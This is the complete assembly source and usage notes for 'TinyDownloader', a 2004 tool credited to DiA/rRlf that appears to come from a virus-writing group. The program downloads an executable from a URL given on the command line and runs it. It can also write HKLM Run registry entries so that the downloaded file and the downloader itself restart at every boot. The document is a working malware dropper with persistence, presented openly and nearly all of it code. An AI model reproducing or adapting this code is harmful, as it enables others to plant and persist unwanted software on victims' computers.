; TinyDownloader Tool by DiA/rRlf ; (c)2004 www.vx-dia.de.vu ; DiA_hates_machine@gmx.de ;---------------------------------------------------- ; ; .disclaimer ; You use this tool at your own risk! I am NOT responsible for the things ; you do with this. Take care and have fun. ; ; .intro ; Hello to my first commandline tool. This is a downloader for executable ; files via HTTP protocol. After downloading it executes the downloaded ; file, and if you want it, it creates autostart settings in the registry. ; Assemble it with FASM, the flat assembler. ; ; .usage ; TinyDL.exe [full url of file];[path of file];[autostart downloaded file 0=no 1=yes];[autostart TinyDL 0=no 1=yes] ; Attention: break between parameters is the semicolon ";" without any space! ; URL maximum 150 bytes, SaveAs path maximum 100 bytes! ; To change this go to the end of this source. ; ; .usage examples ; TinyDL.exe http://whatever.com/test.exe;test_dl.exe;0;0 ; ->This example downloads the file "test.exe" and save in current folder under ; the name "test_dl.exe" and executes this file. Attention: when you dont ; give the full path of "TinyDL.exe" and "test_dl.exe" the autostart functions ; dont work! Use this commandline in this form when you only want to download ; and execute a file without autostart. ; ; C:\TinyDL.exe http://whatever.com/test.exe;test_dl.exe;0;1 ; ->This example downloads the file "test.exe" and save it in current folder ; under the name "test_dl.exe". After downloading it executes this file. ; TinyDL makes a autostart registry entry to start itself on every system ; start. Attention: give full path of "TinyDL.exe", otherwise the autostart ; dont work! ; ; TinyDL.exe http://whatever.com/test.exe;C:\Windows\test_dl.exe;1;0 ; ->This example downloads the file "test.exe" and save it under "C:\Windows\test_dl.exe". ; After downloading and saving it executes the file. It creates a registry ; entry to autostart the dowloaded "test_dl.exe" on every system start. ; Attention: give full path of "test_dl.exe", otherwise the autostart dont work! ; ; C:\TinyDL.exe http://whatever.com/test.exe;C:\Windows\test_dl.exe;1;1 ; ->This example downloads the file "test.exe" and save it in "C:\Windows\test_dl.exe". ; After downloading it executes this file. It creates two registry entrys for ; autostart of downloaded executable file and for TinyDL itself. Attention: ; Give full path of "TinyDL.exe" and "test_dl.exe", otherwise the autostart ; dont work. ; ; .outro ; Bad Luck 13 Riot Extravaganza - RIP 19.10.2004 DiA/rRlf ; ; ;-----TinyDL.asm-----cut-----start--------------------------------------------------------------------------------------- include "%fasminc%\win32ax.inc" TinyDownloader: invoke GetCommandLine ;commandline including parameters mov esi, eax ;to work with the commandline in esi cmp byte [esi], 34d ;check for ", when the prog is runned without parameters je Exit ;if yes the user dont give any parameters, so exit FindSpace: cmp byte [esi], 32d ;check for an space je GetURL ;if yes get the full url of the file inc esi ;esi + 1 jmp FindSpace ;search again GetURL: inc esi ;jmp behind the space xor ecx, ecx ;ecx = 0 , the counter inc ecx ;start with 1 FindSemicolon1: cmp byte [esi], 59d ;is there a ; je SaveURL ;then save the url inc esi ;check next inc ecx ;count that jmp FindSemicolon1 ;search again SaveURL: inc esi ;after the ; push esi ;save esi to get all other parameters sub esi, ecx ;get address back invoke lstrcpyn,\ ;copy the url including length (ecx) in variable FileURL,\ ;copy string to this target esi,\ ;from esi ecx ;how many bytes copy cmp eax, 0 ;if there is a null, there is a error je Exit ;the exit GetSaveAs: pop esi ;go on with the commandline xor ecx, ecx ;ecx = 0 inc ecx ;mov ecx, 1 FindSemicolon2: cmp byte [esi], 59d ;check for ; je SaveSaveAs ; :) inc esi ;next place inc ecx ;count the legth jmp FindSemicolon2 ;check next place SaveSaveAs: inc esi ;after the ; push esi ;save place in esi sub esi, ecx ;get address of SaveAs back invoke lstrcpyn,\ ;copy string SaveAs,\ ;save there esi,\ ;from this place ecx ;number of bytes cmp eax, 0 ;if there is a null, there is a error je Exit ;the exit GetAutostartProg: pop esi ;get commandline again cmp byte [esi], 48d ;if "0" then no autostart of prog je NoAutostartProg ;set byte to "0" mov byte [AutoStartProg], 49d ;set byte to "1" (autostart the prog) jmp GetAutostartSelf ;check next parameter NoAutostartProg: mov byte [AutoStartProg], 48d ;set byte to "0", no autostart GetAutostartSelf: add esi, 2d ;check for self autostart cmp byte [esi], 48d ;check for "0" (no autostart) je NoAutostartSelf ;set byte to 0 mov byte [AutoStartSelf], 49d ;set to "1", autostart jmp StartDownload ;now have all parameters :)) NoAutostartSelf: mov byte [AutoStartSelf], 48d ;"0", no autostart StartDownload: invoke URLDownloadToFile,\ ;fasm improts it, thx for this 0,\ ;pcaller, 0 FileURL,\ ;dowload this SaveAs,\ ;and save it on disk 0,\ ;reserved 0 ;lpfncb...0 cmp eax, 0 ;error? jne Exit ;then exit DownloadComplete: invoke CreateProcess,\ ;execute downloaded file SaveAs,\ ;filename SaveAs,\ ;if the downloaded file has a command line too 0,\ ;no process attributes 0,\ ;no security attributes 0,\ ;nullll CREATE_NEW_CONSOLE,\ ;run as new process 0,\ ;no new environment 0,\ ;no current directory name startup,\ ;startup structure process ;process_info structure cmp eax, 0 ;if there is an error the file is not complete downloaded je DownloadComplete ;check if download is complete again CheckAutoStartProg: cmp byte [AutoStartProg], 48d ;0 = no autostart je CheckAutoStartSelf ;check for self autostarting mov esi, SaveAs ;pointer to path of downlaoded file mov edi, SaveAs ;use it for value name call AutoStartup ;write to registry CheckAutoStartSelf: cmp byte [AutoStartSelf], 48d ;no autostart je Exit ;then exit invoke GetCommandLine ;get whole command line mov esi, eax ;store in esi cmp byte [esi], 34d ;check if first byte is a " je RemoveFirst ;if yes remove it jmp AutostartSelf ;write it to registry RemoveFirst: inc esi ;remove " AutostartSelf: mov edi, FileURL ;use url for value name call AutoStartup ;write it! Exit: invoke ExitProcess, 0 ;exit the program AutoStartup: invoke RegOpenKeyEx,\ ;open registry key HKEY_LOCAL_MACHINE,\ ;startup in HKEY_LOCAL_MACHINE SubKey,\ ;autostart subkey to open 0,\ ;reserved KEY_ALL_ACCESS,\ ;who cares RegHandle ;save here the handle cmp eax, 0 ;error? jnz Exit ;if yes then exit this program invoke lstrlen,\ ;get length of string esi ;pointer to string invoke RegSetValueEx,\ ;write key dword [RegHandle],\ ;the handle of open key edi,\ ;pointer to value name 0,\ ;reserved REG_SZ,\ ;write string esi,\ ;esi = pointer to data eax ;eax = length of string cmp eax, 0 ;check for error jnz Exit ;if yes exit invoke RegCloseKey,\ ;close the open registry key dword [RegHandle] ;via the handle ret ;return to the call Datas: startup STARTUPINFO ;structure process PROCESS_INFORMATION ;structure SubKey db "Software\Microsoft\Windows\CurrentVersion\Run",0 ;autostart RegHandle dd 0 ;save here the handle of open registry key AutoStartProg db 13d ;program autostart AutoStartSelf db 13d ;self autostart? 13...hmm, i love 13 ;) FileURL rb 150d ;save here the full url (150bytes reserved) SaveAs rb 100d ;save file as (100bytes reserved) data import ;only one section, fasm will do it :) library kernel32, "KERNEL32.DLL",\ urlmon, "URLMON.DLL",\ advapi32, "ADVAPI32.DLL" import kernel32,\ GetCommandLine, "GetCommandLineA",\ lstrcpyn, "lstrcpynA",\ lstrlen, "lstrlenA",\ CreateProcess, "CreateProcessA",\ GetTickCount, "GetTickCount",\ ExitProcess, "ExitProcess" import urlmon,\ URLDownloadToFile, "URLDownloadToFileA" import advapi32,\ RegOpenKeyEx, "RegOpenKeyExA",\ RegSetValueEx, "RegSetValueExA",\ RegCloseKey, "RegCloseKey" end data ;-----TinyDL.asm-----cut-----end-----------------------------------------------------------------------------------------